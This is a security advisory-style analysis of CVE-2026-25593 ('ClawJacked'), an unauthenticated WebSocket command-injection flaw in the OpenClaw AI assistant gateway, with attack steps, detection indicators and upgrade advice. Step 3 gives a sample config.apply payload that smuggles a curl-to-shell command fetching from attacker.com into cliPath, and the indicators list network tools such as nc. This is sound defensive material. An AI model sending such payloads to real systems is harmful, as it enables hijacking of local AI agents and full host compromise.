CVE-2026-25593: 
Homebrew vulnerability analysis and mitigation

CVE-2026-25593 is an unauthenticated local remote code execution (RCE) vulnerability in OpenClaw, a personal AI assistant, dubbed "ClawJacked" by the security community. Prior to version 2026.1.20, any unauthenticated local client could connect to the Gateway WebSocket API and invoke config.apply to write arbitrary configuration values — including unsafe cliPath entries — that were subsequently used in shell-based command discovery, enabling OS command injection as the gateway process user. The vulnerability affects all OpenClaw (npm) versions below 2026.1.20 and was published on February 4, 2026, with NVD publication on February 6, 2026. It carries a CVSS v3.1 base score of 8.4 (High) (GitHub Advisory, OpenClaw Advisory).

The root cause is a combination of missing authentication for a critical function (CWE-306), improper input validation (CWE-20), and OS command injection (CWE-78). The Gateway WebSocket API exposed a config.apply handler that accepted raw JSON, performed only schema validation, and wrote the result directly to disk — without requiring any authentication from the connecting client. The cliPath configuration field was not constrained to safe executable names or paths, and command discovery subsequently used a shell invocation to resolve executables, allowing an attacker-controlled cliPath value to inject arbitrary OS commands. The attack requires only local network access (e.g., another process or browser tab on the same machine), no privileges, and no user interaction (OpenClaw Advisory, GitHub Advisory).

Successful exploitation allows a local attacker — including a malicious website running JavaScript in a browser on the same machine — to execute arbitrary OS commands with the privileges of the OpenClaw gateway process user, resulting in high impact to confidentiality, integrity, and availability. This can lead to complete system compromise, theft of sensitive data accessible to the gateway user, unauthorized modification of system files and configurations, and denial of service. The "ClawJacked" attack scenario demonstrates that even browser-based adversaries (via WebSocket from a malicious web page) can pivot to local command execution without any user interaction beyond visiting a page (OpenClaw Advisory, The Hacker News).

No public proof-of-concept exploit code has been confirmed, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.027% (8th percentile), indicating a currently low probability of exploitation within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires only local access and no authentication, making it conceptually straightforward to exploit — particularly via a malicious website leveraging browser WebSocket connections to the locally running gateway (GitHub Advisory).

1. Reconnaissance: Identify a target machine running OpenClaw (npm package) prior to version 2026.1.20, where the Gateway WebSocket API is listening on a local port (typically accessible at ws://localhost:<port>).
2. Establish WebSocket connection: From any local process or a malicious web page loaded in the victim's browser, open a WebSocket connection to the OpenClaw gateway endpoint — no authentication credentials are required.
3. Send malicious config.apply message: Craft a JSON payload invoking the config.apply API handler with a malicious cliPath value containing OS command injection characters, e.g.:

   {"type": "config.apply", "config": {"cliPath": "/bin/sh;curl http://attacker.com/shell.sh|sh;"}}

4. Trigger command discovery: The gateway writes the malicious config to disk and subsequently invokes a shell to resolve the cliPath executable, causing the injected command to execute as the gateway process user.
5. Achieve objective: The injected command runs with gateway user privileges, enabling reverse shell establishment, data exfiltration, persistence mechanisms, or further lateral movement on the host (OpenClaw Advisory, Dev.to Write-up).

• Network: Unexpected WebSocket connections to the OpenClaw gateway port (local loopback) from browser processes or unknown local processes; outbound connections from the gateway process to external IPs (e.g., attacker C2 or file download servers).
• File System: Modified or newly written OpenClaw configuration files on disk containing unusual or shell-metacharacter-laden cliPath values; unexpected scripts or binaries dropped in directories writable by the gateway user.
• Logs: OpenClaw gateway logs showing config.apply messages received from unauthenticated clients; shell execution errors or unexpected process spawning logged around the time of configuration writes.
• Process: Unusual child processes spawned by the OpenClaw gateway process (e.g., /bin/sh, curl, wget, python, nc) that are not part of normal AI assistant operation; new cron jobs or persistence mechanisms created under the gateway user account (OpenClaw Advisory).

Upgrade OpenClaw (npm) to version 2026.1.20 or later, which contains the fix (commit 9dbc1435a6cac576d5fd71f4e4bff11a5d9d43ba) that enforces authentication on the Gateway WebSocket API and constrains cliPath values to safe paths. If an immediate upgrade is not possible, enable gateway authentication by setting gateway.auth in the configuration and avoid using custom cliPath values. Additionally, restrict local access to the gateway process port using host-based firewall rules, and run the gateway with the minimum necessary OS privileges (OpenClaw Advisory, GitHub Advisory).

The vulnerability was nicknamed "ClawJacked" and received notable coverage from The Hacker News, which highlighted the novel attack vector of malicious websites hijacking local AI agents via WebSocket (The Hacker News). Security researchers published technical write-ups on Dev.to exploring how browser-based WebSocket connections can be weaponized against locally running AI agent processes, sparking broader discussion about the security posture of locally hosted AI tools (Dev.to Write-up). The Collabnix community also published analysis questioning the safety of OpenClaw deployments in the wake of this disclosure. Red Hat tracked the CVE and the broader security community noted it as an emerging class of vulnerability affecting the growing ecosystem of locally running AI assistants.